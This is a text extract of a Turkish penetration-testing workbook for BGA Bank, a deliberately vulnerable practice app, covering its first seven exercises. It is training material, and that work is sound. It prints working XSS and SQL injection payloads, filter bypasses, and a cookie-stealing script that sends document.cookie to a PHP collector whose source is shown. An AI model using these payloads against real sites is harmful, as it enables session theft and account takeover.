SlideShare une entreprise Scribd logo
1  sur  143
Télécharger pour lire hors ligne
 
	
  
	
   	
  
[ Tüm	
  yayın	
  hakları	
  BGA	
  Bilgi	
  Güvenliği	
  A.Ş.’e	
  aittir.	
  BGA’nın	
  yazılı	
  izni	
  olmadan	
  çoğaltılamaz.	
  Kaynak	
  gösterilmek	
  
koşuluyla	
  alıntı	
  yapılabilir.]  
BGA	
  BANK	
  Web	
  Güvenlik	
  
Testleri	
  Uygulama	
  Kitabı	
  
Ceylan	
  BOZOĞULLARINDAN	
  <ceylan@bga.com.tr>	
  
            
2	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
GİRİŞ	
  
BGA	
  Bank	
  Hakkında	
  	
  
	
  
“BGA	
  BANK	
  (Vulnerable	
  Online	
  Bank	
  Application)”	
  uygulaması	
  PHP	
  tabanlı	
  çeşitli	
  zafiyetler	
  
içeren	
   sızma	
   testi	
   eğitim	
   platformudur.	
   Türkiye'deki	
   bankacılık	
   altyapısı	
   incelenerek	
   bu	
  
altyapılarda	
  çıkabilecek	
  tüm	
  teknik	
  ve	
  mantıksal	
  hatalar	
  uygulamanın	
  içine	
  eklenmiş	
  ve	
  web	
  
uygulama	
   güvenliği	
   konusunda	
   çalışanlar	
   için	
   gerçekci	
   bir	
   sızma	
   testi	
   platformu	
  
oluşturulmuştur.	
  	
  
Webgoat,	
  DVWA	
  vs	
  gibi	
  benzeri	
  amaçla	
  yazılmış	
  programlardan	
  en	
  temel	
  farkı	
  açıklıkların	
  
doğrudan	
  kullanıcıya	
  nerede	
  olduğu	
  ve	
  nasıl	
  istismar	
  edileceği	
  ile	
  ilgili	
  ipucu	
  vermemesidir.	
  	
  
BGA	
  BANK	
  altyapısı	
  3	
  farklı	
  sistemden	
  oluşmaktadır:	
  
	
  
1-­‐	
  BGA	
  BANK	
  -­‐	
  http://www.bgabank.com	
  
2-­‐	
  IPS	
  Korumalı	
  Bankacılık	
  Uygulaması	
  -­‐	
  http://ipstest.bgabank.com	
  
3-­‐	
  WAF	
  Korumalı	
  Bankacılık	
  Uygulaması	
  -­‐	
  http://waftest.bgabank.com	
  
	
  
Böylece	
  bgabank.com'da	
  çalışan	
  bir	
  açıklığın	
  hem	
  IPS	
  hem	
  de	
  WAF	
  sistemleri	
  ile	
  tekrar	
  test	
  
edilerek	
  çeşitli	
  evasion	
  tekniklerinin	
  denenmesi	
  de	
  sağlanmış	
  olmaktadır.	
  
	
  
Yazılım	
  Geliştiriciler	
   Ceylan	
  BOZOĞULLARINDAN,	
  Rızacan	
  TUFAN	
  
Kitapçık	
  Yazarları	
   Ceylan	
   BOZOĞULLARINDAN,	
   Ender	
   AKBAŞ,	
  
Huzeyfe	
  ÖNAL	
  
Katkıda	
  Bulunanlar	
   Halil	
  DALABASMAZ,	
  Ömer	
  ALBAYRAK	
  
Proje	
  Yöneticisi	
   Huzeyfe	
  ÖNAL	
  
	
  
Kitap	
  içeriğiyle	
  ilgili	
  her	
  türlü	
  geri	
  dönüş	
  için	
  bgabank@bga.com.tr	
  adresine	
  e-­‐
posta	
  gönderebilirsiniz.	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   3	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Bilgi	
  Güvenliği	
  AKADEMİSİ	
  (BGA)	
  Hakkında	
  
Bilgi	
  Güvenliği	
  Akademisi	
  (BGA)	
  Türkiye’deki	
  bilgi	
  güvenliği	
  sektörüne	
  profesyonel	
  anlamda	
  
destek	
   olmak	
   amacıyla	
   ileri	
   seviye	
   güvenlik	
   danışmanlığı	
   ve	
   bilgi	
   güvenliği	
   eğitimleri	
  
konularında	
  kurumlara	
  hizmet	
  vermektedir.	
  
2008-­‐2010	
   yılları	
   arasında	
   yapılan	
   çalışmalar	
   sonucu	
   gönüllü	
   bir	
   ekip	
   tarafından	
   kurulup	
  
Türkiye	
  ‘de	
  bilgi	
  güvenliği	
  konusunda	
  bilgi	
  paylaşımının	
  ve	
  bilinçlenmenin	
  arttırılması	
  adına	
  
e-­‐posta	
   listeleri	
   oluşturulması,	
   seminerler,	
   güvenlik	
   günleri	
   düzenlenmesi,	
   üniversite	
  
öğrencilerine	
  yön	
  vermek	
  maksadı	
  ile	
  siber	
  güvenlik	
  kamplarının	
  düzenlenmesi	
  gibi	
  birçok	
  
konuda	
  faaliyetlerde	
  bulunmuştur.	
  
Bilgi	
   Güvenliği	
   Akademisi,	
   BGA	
   Bilgi	
   Güvenliği	
   A.Ş.	
   olarak	
  	
   	
  2011	
   yılı	
   başında	
  
şirketleşmiştir.	
   	
  Kısa	
   sürede	
   Türkiye’nin	
   en	
   önemli	
   kurumlarına	
   bilgi	
   güvenliği	
   ve	
   stratejik	
  
siber	
   güvenlik	
   konularında	
   danışmanlık	
   gerçekleştirmiş,	
   500’den	
   fazla	
   kuruma	
   eğitim	
  
vermiştir.	
  
2012	
   -­‐	
   2015	
   yılları	
   itibariyle	
   yurtdışında	
   Azerbaycan,	
   Kazakistan,	
   KKTC	
   gibi	
   ülkelerde	
   de	
  
şube	
  	
  açmış	
  ve	
  bu	
  ülkelerde	
  en	
  büyük	
  10	
  şirkete	
  hizmet	
  vermektedir	
  .	
  
	
  
Sunduğumuz	
   eğitim	
   ve	
   danışmanlık	
   hizmetleri	
   için	
   bilgi@bga.com.tr	
   adresine	
   e-­‐posta	
  
gönderebilirsiniz.	
  
	
   	
  
4	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
İçindekiler  
GİRİŞ	
  .............................................................................................................................................................	
  2	
  
Bilgi	
  Güvenliği	
  AKADEMİSİ	
  (BGA)	
  Hakkında	
  ..............................................................................................	
  3	
  
1.	
  Müşteri	
  Giriş	
  Paneli	
  Reflected	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  ...........................................................................	
  6	
  
2.	
  Müşteri	
  Giriş	
  Paneli	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstismarı	
  ............................................................................	
  9	
  
3.	
  User-­‐Agent	
  Bilgisi	
  Değiştirerek	
  Captcha	
  Atlatma	
  (Mobil	
  Giriş)	
  ...............................................................	
  12	
  
4.	
  Arama	
  Kutusu	
  Reflected	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  ..................................................................................	
  14	
  
5.	
  HPF	
  (HTTP	
  Parameter	
  Fragmentation)	
  Yöntemi	
  ile	
  XSS	
  İstismarı	
  ...........................................................	
  16	
  
6.	
  XSS	
  Kullanarak	
  Cookie	
  Bilgisi	
  Çalma	
  .......................................................................................................	
  17	
  
7.	
  Yönetim	
  Paneli	
  Dizin	
  İfşası	
  ......................................................................................................................	
  18	
  
8.	
  Local	
  File	
  Inclusion	
  Zafiyeti	
  ve	
  İstismarı	
  ..................................................................................................	
  20	
  
9.	
  robots.txt	
  Bilgi	
  İfşası	
  ...............................................................................................................................	
  22	
  
10.	
  PhpMyAdmin	
  Bilgi	
  İfşası	
  .......................................................................................................................	
  23	
  
11.	
  Arama	
  Kutusu	
  Error	
  Based	
  &	
  Union	
  Query	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstismarı	
  ....................................	
  24	
  
12.	
  Log	
  Dizininde	
  Cookie	
  İfşası	
  (elmah.axd)	
  ve	
  İstismarı	
  ............................................................................	
  30	
  
13.	
  Mesaj	
  Gönderme	
  Stored	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  ................................................................................	
  36	
  
14.	
  Havale/EFT	
  Hesap	
  Arama	
  Kutusu	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstismarı	
  ...................................................	
  38	
  
15.	
  User-­‐Agent	
  Başlık	
  Bilgisinde	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstismarı	
  ...........................................................	
  41	
  
16.	
  Profil	
  Güncelleme	
  Shell	
  Upload	
  Zafiyeti	
  ve	
  İstismarı	
  ............................................................................	
  42	
  
17.	
  Havale/EFT	
  Stored	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  .........................................................................................	
  45	
  
18.	
  Erişim	
  Kısıtlamasını	
  Atlatma	
  .................................................................................................................	
  48	
  
19.	
  Havale/EFT	
  İşlemi	
  Mantık	
  Hatası	
  ve	
  İstismarı	
  .......................................................................................	
  51	
  
20.	
  Müşteri	
  Bilgileri	
  Insecure	
  Direct	
  Object	
  Zafiyeti	
  ve	
  İstismarı	
  ................................................................	
  53	
  
21.	
  Ziyaretçi	
  Defteri	
  Stored	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  ..................................................................................	
  56	
  
22.	
  Çalışmayan	
  Captcha	
  Uygulaması	
  ..........................................................................................................	
  58	
  
23.	
  Captcha	
  Atlatarak	
  Brute	
  Force	
  Saldırısı	
  Gerçekleştirme	
  .......................................................................	
  59	
  
24.	
  Cookie	
  Hırsızlığı	
  ile	
  Yönetim	
  Panelinde	
  Oturum	
  Açmak	
  .......................................................................	
  62	
  
25.	
  Müşteri	
  Parolasının	
  Tahmin	
  Edilebilir	
  Olması	
  .......................................................................................	
  66	
  
26.	
  Havale	
  İşleminde	
  Mantık	
  Hatası	
  (Havale	
  Yaparak	
  Bakiye	
  Arttırma)	
  .....................................................	
  70	
  
27.	
  Dizin	
  Listeleme/İfşa	
  Zafiyeti	
  .................................................................................................................	
  71	
  
28.	
  Şifre	
  Değiştirme	
  İşlemi	
  CSRF	
  Zafiyeti	
  ve	
  İstismarı	
  .................................................................................	
  72	
  
29.	
  Kartlarım	
  Sayfası	
  Insecure	
  Direct	
  Object	
  References	
  Zafiyeti	
  ve	
  İstismarı	
  ...........................................	
  76	
  
30.	
  Şubeler	
  Sayfası	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstismarı	
  ...............................................................................	
  79	
  
31.	
  İşlem	
  Özeti	
  Filtreleme	
  Web	
  Service	
  SQL	
  Injection	
  ................................................................................	
  83	
  
32.	
  BGA	
  Bank	
  Session	
  Fixation	
  Saldırısı	
  ......................................................................................................	
  86	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   5	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
33.	
  HTML	
  Yorum	
  Satırlarında	
  Bilgi	
  İfşası	
  .....................................................................................................	
  88	
  
34.	
  Şifre	
  Değiştirme	
  Panelinde	
  Şifre	
  Form	
  Kontrolünü	
  Atlatma	
  .................................................................	
  90	
  
35.	
  Diğer	
  Müşterilere	
  Bağlı	
  Kart	
  Şifrelerini	
  Değiştirme	
  ..............................................................................	
  93	
  
36.	
  Şubeler	
  Sayfası	
  Reflected	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  ...............................................................................	
  96	
  
37.	
  İçerik	
  Parametresi	
  Time-­‐Based	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstismarı	
  .......................................................	
  99	
  
38.	
  Kodlarına	
  Ulaşılabilir	
  Dosyalar	
  ............................................................................................................	
  101	
  
39.	
  User-­‐Agent	
  Başlık	
  Bilgisinde	
  Stored	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  .............................................................	
  103	
  
40.	
  Haberdar	
  Ol	
  Sayfası	
  SQL	
  Injection	
  Zafiyeti	
  ve	
  İstisamarı	
  ....................................................................	
  107	
  
41.	
  Haberdar	
  Ol	
  Sayfası	
  Reflected	
  XSS	
  Zafiyeti	
  ve	
  İstismarı	
  .....................................................................	
  112	
  
42.	
  Döviz	
  Alma	
  İşleminde	
  Araya	
  Girilerek	
  Döviz	
  Fiyatı	
  Değiştirme	
  ...........................................................	
  115	
  
43.	
  Tomcat	
  6	
  Sistem	
  İfşası	
  ........................................................................................................................	
  118	
  
44.	
  Güvensiz	
  Çıkış	
  Zafiyeti	
  ........................................................................................................................	
  119	
  
45.	
  User-­‐Agent	
  Bilgisi	
  Değiştirerek	
  Ücretsiz	
  Havale	
  İşlemi	
  Gerçekleştirme	
  ..............................................	
  121	
  
46.	
  LFI	
  ve	
  Dosya	
  Yükleme	
  Zafiyetini	
  Kullanarak	
  Sisteme	
  Shell	
  Yükleme	
  ...................................................	
  123	
  
47.	
  Tomcat	
  Metasploit	
  Brute	
  Force	
  Saldırısı	
  ............................................................................................	
  128	
  
48.	
  Müşteri	
  Girişi	
  Form	
  Tabanlı	
  Brute	
  Force	
  Saldırısı	
  ...............................................................................	
  130	
  
49.	
  OWASP	
  Xenotix	
  XSS	
  Framework	
  Kullanarak	
  XSS	
  Tespiti	
  .....................................................................	
  133	
  
50.	
  XSS	
  Zafiyeti	
  ile	
  Beef	
  Framework	
  Kullanarak	
  Şifre	
  Çalma	
  Senaryosu	
  ...................................................	
  136	
  
51.	
  Nmap	
  Kullanarak	
  PortSpoof	
  Tespiti	
  ....................................................................................................	
  142	
  
	
  
	
  
	
   	
  
6	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
1. Müşteri Giriş Paneli Reflected XSS Zafiyeti ve İstismarı
BGA	
   Bank	
   "Müşteri	
   Giriş	
   Paneli"	
   sayfasında	
   “Reflected	
   XSS	
   Zafiyeti”	
   bulunmaktadır.	
   XSS	
  
zafiyetinin	
  tespiti	
  ve	
  istismarı	
  aşağıda	
  adım	
  adım	
  anlatılmıştır.	
  
URL	
   http://isube.bgabank.com/giris.aspx	
  
HTTP	
  Talep	
  Türü	
   POST	
  
Payload	
   <script>alert(document.cookie)</script>	
  
Parametre	
   b_musterino	
  
Tablo	
  1.	
  Giriş	
  Sayfası	
  Reflected	
  XSS	
  Zafiyet	
  Bilgileri	
  
1)	
  Giriş	
  formu	
  rastgele	
  ve	
  yanlış	
  bilgilerle	
  doldurulur,	
  ardından	
  “Giriş	
  Yap”	
  butonuna	
  tıklanır.	
  
	
  
Şekil	
  1.	
  Müşteri	
  Giriş	
  Paneli	
  
Yanlış	
  girilen	
  müşteri	
  numarasının	
  hata	
  mesajında	
  yer	
  alması,	
  XSS	
  zafiyetinin	
  olabileceğine	
  
işaret	
  eder.	
  12345678	
  yerine	
  yazılan	
  herhangi	
  bir	
  HTML	
  veya	
  JavaScript	
  kodu,	
  sayfa	
  kaynak	
  
kodları	
  arasında	
  yer	
  alır.	
  Eğer	
  girdiler	
  geliştirici	
  tarafından	
  filtrelenmemişse	
  saldırgan	
  zararlı	
  
kod	
  parçacıklarını	
  sayfa	
  üzerinde	
  çalıştırabilir.	
  
2)	
   Tarayıcı	
   ile	
   uygulama	
   arasına	
   girilerek,	
   JavaScript	
   filtrelemeleri	
   atlatılır	
   ve	
   payload	
  
çalıştırılır.	
  
Müşteri	
  numarası	
  alanına	
  direk	
  tarayıcı	
  üzerinden	
  html	
  kod	
  girildiğinde,	
  Şekil	
  2.	
  de	
  gösterilen	
  
hata	
  veya	
  türevleri	
  zafiyetin	
  istismarına	
  engel	
  olacaktır.	
  	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   7	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  2.	
  Müşteri	
  Giriş	
  Paneli	
  Hata	
  Mesajı	
  
Uygulama	
  geliştirici,	
  girdileri	
  JavaScript	
  ile	
  kontrol	
  etmektedir.	
  JavaScript	
  kodları	
  sunucuda	
  
değil,	
  son	
  kullanıcının	
  yani	
  müşterinin	
  tarayıcısında	
  çalışır.	
  Bu	
  problem,	
  tarayıcı	
  ile	
  sunucu	
  
arasına	
   girilerek	
   çözülebilir.	
   Bunu	
   gerçekleştirmek	
   için	
   de	
   Proxy	
   araçları	
   kullanılır.	
   Bu	
  
zafiyetin	
  istismarında	
  Proxy	
  aracı	
  olarak	
  Burp	
  Suite	
  kullanılmıştır.	
  
Müşteri	
  numarası,	
  geliştiricinin	
  istediği	
  formata	
  uygun	
  bir	
  şekilde	
  (12345678)	
  girilir.	
  “Giriş	
  
Yap”	
  butonuna	
  tıklandığı	
  anda	
  sunucuya	
  gönderilen	
  istek	
  Proxy’ye	
  düşer.	
  Proxy’de	
  bekletilen	
  
istek	
  üzerinde	
  bulunan,	
  “b_musterino”	
  parametresinin	
  12345678	
  olan	
  değeri	
  Tablo	
  1.	
  deki	
  
payload	
   ile	
   değiştirilir.	
   Bekletilen	
   isteğe	
   izin	
   verilerek	
   sunucuya	
   ulaşması	
   sağlanır.	
   Böylece	
  
filtreleme	
  başarılı	
  bir	
  şekilde	
  atlatılmış	
  olur.	
  
Şekil	
  3.	
  Burp	
  Suite	
  İle	
  Veri	
  Manipülasyonu	
  
	
  
	
  
	
  
8	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
3)	
  Sonuç,	
  müşterinin	
  cookie	
  bilgileri	
  başarılı	
  bir	
  şekilde	
  alınır.	
  
	
  
Şekil	
  4.	
  Sonuç	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   9	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
2. Müşteri Giriş Paneli SQL Injection Zafiyeti ve İstismarı
Müşteri	
   giriş	
   panelinde	
   SQL	
   injection	
   zafiyeti	
   yer	
   almaktadır.	
   Zafiyet	
   bilgileri	
   tablo	
   2.	
   de	
  
gösterilmiştir.	
  	
  
URL	
   http://isube.bgabank.com/giris.aspx	
  
HTTP	
  Talep	
  Türü	
   POST	
  
Payload	
   "	
  or	
  2=2;-­‐-­‐	
  
Parametre	
   b_musterino	
  
Tablo	
  2.	
  Giriş	
  Sayfası	
  SQL	
  Injection	
  Zafiyet	
  Bilgileri	
  
Zafiyetin	
  istismarı	
  aşağıda	
  adım	
  adım	
  anlatılmıştır.	
  
1)	
  Giriş	
  formu	
  kurallara	
  uygun	
  şekilde	
  doldurur	
  ve	
  Firefox’un	
  HTTP	
  Live	
  Headers	
  eklentisi	
  
açıkken	
  “Giriş	
  Yap”	
  butonuna	
  tıklanır.	
  	
  
HTTP	
   isteği	
   gönderilirken,	
   “Live	
   HTTP	
   Header”	
   üzerinde	
   kendi	
   yansımasını	
   bırakır.	
   Bu	
  
yansıma	
   üzerinde	
   Javascript	
   filtreleme	
   olmadığından	
   payload	
   girilerek	
   istek	
   tekrar	
  
gönderilebilir.	
  Şekil	
  5.	
  de	
  gösterilen	
  istek	
  üzerinde	
  değişiklik	
  yapmak	
  için	
  “Replay”	
  butonuna	
  
tıklanır.	
  
	
  
Şekil	
  5.	
  Live	
  HTTP	
  Headers	
  
10	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
2)	
  “b_musterino”	
  parametre	
  değerine,	
  Tablo	
  2.	
  de	
  yer	
  alan	
  SQL	
  injection	
  payload	
  girilir	
  ve	
  
istek	
  tekrar	
  “Replay”	
  butonu	
  ile	
  gönderilir.	
  (bkz.	
  Şekil	
  6)	
  
	
  
Şekil	
  6.	
  Live	
  HTTP	
  Headers	
  SQL	
  Injection	
  Payload	
  Gönderimi	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   11	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
3)	
  Sonuç,	
  başarılı.	
  
	
  
Şekil	
  7.	
  Sonuç	
  
	
   	
  
12	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
3. User-Agent Bilgisi Değiştirerek Captcha Atlatma (Mobil
Giriş)
	
  
URL	
   http://isube.bgabank.com/giris.aspx	
  
Tablo	
  3.	
  Captcha	
  URL	
  
Tablo	
  3.	
  de	
  belirtilen	
  adreste	
  üç	
  kez	
  yanlış	
  giriş	
  denemesinde	
  bulunulduğunda,	
  brute	
  force	
  
saldırısını	
   engellemek	
   için	
   captcha	
   çıkmaktadır.	
   Fakat	
   mobil	
   cihazla	
   girildiğinde	
   captcha	
  
çıkmamaktadır.	
   Tarayıcıda	
   user-­‐agent	
   bilgisi	
   değiştirilerek,	
   mobil	
   cihaz	
   gibi	
   siteye	
   giriş	
  
yapılabilir.	
  Bunun	
  için	
  Firefox	
  eklentisi	
  “User	
  Agent	
  Switcher”	
  kullanılabilir.	
  
	
  
Şekil	
  8.	
  Captcha	
  Panel	
  
Bu	
  durumdayken	
  “User	
  Agent	
  Switcher”	
  ile	
  cihaz	
  iPhone	
  3.0	
  olarak	
  ayarlanır	
  ve	
  yanlış	
  veriler	
  
girilip	
  “Giriş	
  Yap”	
  butonuna	
  tıklandığında	
  Captcha	
  ‘nın	
  kaybolduğu	
  görülecektir.	
  (Şekil	
  9)	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   13	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  9.	
  User	
  Agent	
  Switcher	
  
	
   	
  
14	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
4. Arama Kutusu Reflected XSS Zafiyeti ve İstismarı
URL	
   http://isube.bgabank.com/?sayfa=arama.php&s1=bgabank&s2=	
  
HTTP	
  Talep	
  Türü	
   GET	
  
Payload	
   <Script>prompt(document.cookie);</Script>	
  
Parametre	
   s1	
  veya	
  s2	
  
Tablo	
  4.	
  Arama	
  Sayfası	
  Reflected	
  XSS	
  Zafiyet	
  Bilgileri	
  
Arama	
   kutusunda	
   Reflected	
   XSS	
   zafiyeti	
   bulunmaktadır.	
   Zafiyet	
   bilgileri	
   Tablo	
   4.	
   de	
  
belirtilmiştir.	
  Bu	
  zafiyeti	
  istismar	
  etmeden	
  önce	
  normal	
  bir	
  arama	
  yapılır.	
  "deneme"	
  kelimesi	
  
aratıldığında	
  "Aradığınız	
  Kayıt	
  Bulunamadı”	
  hatası	
  dönmektedir.	
  	
  (bkz.	
  Şekil	
  10)	
  
	
  
Şekil	
  10.	
  Normal	
  Arama	
  Sonucu	
  
Daha	
   sonra	
   çeşitli	
   payloadlar	
   denenebilir.	
   En	
   sık	
   kullanılan	
   payloadlardan	
  
<script>alert(1)</script>	
  denendiğinde,	
  sonuç	
  Şekil	
  11	
  deki	
  gibidir.	
  	
  
	
  
Şekil	
  11.	
  Hata	
  mesajı	
  
Burada	
  script,	
  alert	
  gibi	
  sık	
  kullanılan	
  XSS	
  payloadlarına	
  karşı	
  bir	
  önlem	
  alındığı	
  düşünülebilir.	
  
Bu	
   engeli	
   atlatmak	
   için	
   en	
   basit	
   yöntemlerden	
   biri	
   script	
   kelimesini	
   büyük-­‐küçük	
   harf	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   15	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
kullanarak	
   yazmaktır.	
   Şekil	
   12.	
   de	
   <Script>prompt(document.cookie);</Script>	
   payloadı	
  
denenmiştir	
  ve	
  sonuç	
  başarılıdır.	
  
	
  
	
  
Şekil	
  12.	
  Sonuç	
  
Bu	
  payload	
  haricinde,	
  içinde	
  script	
  veya	
  alert	
  kelimeleri	
  geçmeyen	
  yüzlerce	
  farklı	
  payload	
  
çalıştırılabilir.	
  	
  
	
  
Örnek;	
  http://isube.bgabank.com/?sayfa=arama.php&s1=<img	
  onerror=prompt('BGA')	
  
src="a"	
  />&s2=	
  (bkz.	
  Şekil	
  13)	
  
	
  
	
  
Şekil	
  13.	
  Örnek	
  Payload	
  Denemesi	
  
	
   	
  
16	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
5. HPF (HTTP Parameter Fragmentation) Yöntemi ile XSS
İstismarı
Örnek	
  URL;	
  
http://isube.bgabank.com/?sayfa=arama.php&s1=<img	
  onerror=al&s2=ert('BGA')	
  src=”a”/>	
  
	
  
Alınan	
   önlemler,	
   HPF(HTTP	
   Parameter	
   Fragmentation)	
   olarak	
   adlandırılan	
   yöntemle	
  
atlatılabilmektedir.	
  Bu	
  yöntemde,	
  arama	
  işleminde	
  yer	
  alan,	
  iki	
  arama	
  parametresi	
  (s1	
  ve	
  s2)	
  
üzerinden	
  istismar	
  edilir.	
  Örnek	
  URL	
  ’de	
  alert	
  s1	
  ve	
  s2	
  parametreleri	
  üzerinde	
  bölünmüştür.	
  
(bkz.	
  Şekil	
  14)	
  
	
  
	
  
Şekil	
  14.	
  HPP	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   17	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
6. XSS Kullanarak Cookie Bilgisi Çalma
Arama	
   kutusunda	
   yer	
   alan	
   XSS	
   zafiyeti,	
   kullanıcıların	
   cookie	
   bilgilerini	
   çalmak	
   için	
  
kullanılabilir.	
  Aşağıda	
  belirtilen	
  tablodaki	
  payload,	
  istenilen	
  linke,	
  kullanıcı	
  cookie	
  bilgilerini	
  
get	
  isteği	
  ile	
  göndermektedir.	
  
Cookie	
  Çalma	
  İçin	
  Kullanılan	
  Payload	
  
<sCript>document.location="http://localhost/test/steal.php?cookie="+document.cookie</Script>	
  
	
  
Adres	
  içerisinde	
  belirtilen	
  steal.php	
  dosyasının	
  kaynak	
  kodları	
  aşağıdaki	
  gibidir.	
  	
  
steal.php	
  Kaynak	
  Kodları	
  
<?php	
  
	
  	
  	
  	
  $cookie	
  =	
  $_GET["cookie"];	
  
	
  	
  	
  	
  $myfile	
  =	
  fopen("cookies.txt",	
  "a")	
  or	
  die("Dosya	
  bulunamadı!");	
  
	
  	
  	
  	
  fwrite($myfile,	
  $cookie);	
  
	
  	
  	
  	
  fclose($myfile);	
  
?>	
  
	
  
Yukarıdaki	
   kaynak	
   koddan	
   da	
   anlaşıldığı	
   gibi,	
   gelen	
   istekler,	
   cookies.txt	
   dosyasına	
  
kaydedilmektedir.	
   Bunun	
   için,	
   ya	
   cookies.txt	
   dosyası	
   oluşturmalı	
   yolunu	
   belirtilmeli	
   ya	
   da	
  
fopen	
   parametresi	
   w	
   olarak	
   değiştirilmelidir.	
   w	
   parametresi	
   yeni	
   dosya	
   oluşturup,	
   içine	
  
yazmayı	
  sağlar.	
  
	
  
Şimdi	
  zafiyet	
  yeni	
  payload	
  ile	
  denendiğinde,	
  sayfanın	
  yönlendiği	
  görülecektir.	
  (Şekil	
  A)	
  
	
  
Şekil	
  A.	
  Çalışan	
  Payload	
  
	
  
Cookies.txt	
  dosyasına	
  kullanıcı	
  cookie	
  bilgileri	
  kaydedilmiştir.	
  (Şekil	
  B)	
  
	
  
Şekil	
  B.	
  Cookies.txt	
  İçeriği	
  
	
   	
  
18	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
7. Yönetim Paneli Dizin İfşası
URL	
   http://isube.bgabank.com/administrator.aspx	
  
Tablo	
  5.	
  Yönetim	
  Paneli	
  URL	
  
	
  
Zafiyet	
  her	
  zaman	
  kodlar	
  üzerinde	
  olmayabilir.	
  Bazen	
  basit	
  bir	
  parola	
  veya	
  giriş	
  formunun	
  
brute-­‐force’a	
   açık	
   olması	
   hedef	
   sistemde	
   hak	
   yükseltmek	
   için	
   kullanılabilir.	
   Bunun	
   için	
  
öncelikle	
  admin	
  giriş	
  sayfasının	
  tespit	
  edilmesi	
  gerekir.	
